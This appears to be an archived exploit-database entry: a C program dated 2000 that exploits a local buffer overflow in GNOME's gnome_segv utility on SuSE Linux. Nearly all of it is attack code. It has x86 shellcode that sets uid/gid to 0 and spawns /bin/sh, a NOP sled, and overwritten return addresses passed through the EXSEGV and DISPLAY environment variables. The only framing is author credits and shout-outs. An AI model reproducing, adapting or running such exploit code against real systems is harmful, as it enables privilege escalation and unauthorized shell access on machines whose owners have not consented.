gnome_segv - Local Buffer Overflow

/* gnome_segv local buffer overflow.
 * 
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / [email protected]
 * 12/9/2000
 *
 * This exploit was coded at overfiens in cali.
 * Shouts to overfien and skeptik... h00t h00t.
 * Bug found by skeptik.
 *
 * Tested on SuSE 6.4/2.2.14
 * non s*id by default, p.o.e. only.
 */

#include <stdio.h>
#define DBUF   287 // 56(fun)+RET+227!
#define OFFSET 0   // Change if fails.

static char shellcode[]=
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
  "/bin/sh\x69";

long get_sp(void){__asm__("movl %esp,%eax");}
main(int argc, char **argv){
  char eipeip[DBUF]="        Don't forget to check www.hhp-programming.net";
  char buffer[4096], heh[256+1]; // ^</tag> :D
  int i, offset;
  long address;
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=OFFSET;}
  address=get_sp()-offset;
  for(i=56;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){buffer[i]=0x90;}
  memcpy(heh,eipeip,strlen(eipeip));
  memcpy(heh,"DISPLAY=",8);
  putenv(heh);
  memcpy(buffer+i,shellcode,strlen(shellcode));
  memcpy(buffer,"EXSEGV=",7);
  putenv(buffer);
  fprintf(stderr,"Return address %#x, offset: %d.\n",address,offset);
  execlp("/opt/gnome/bin/gnome_segv","gnome_segv",0);
}


// milw0rm.com [2000-12-06]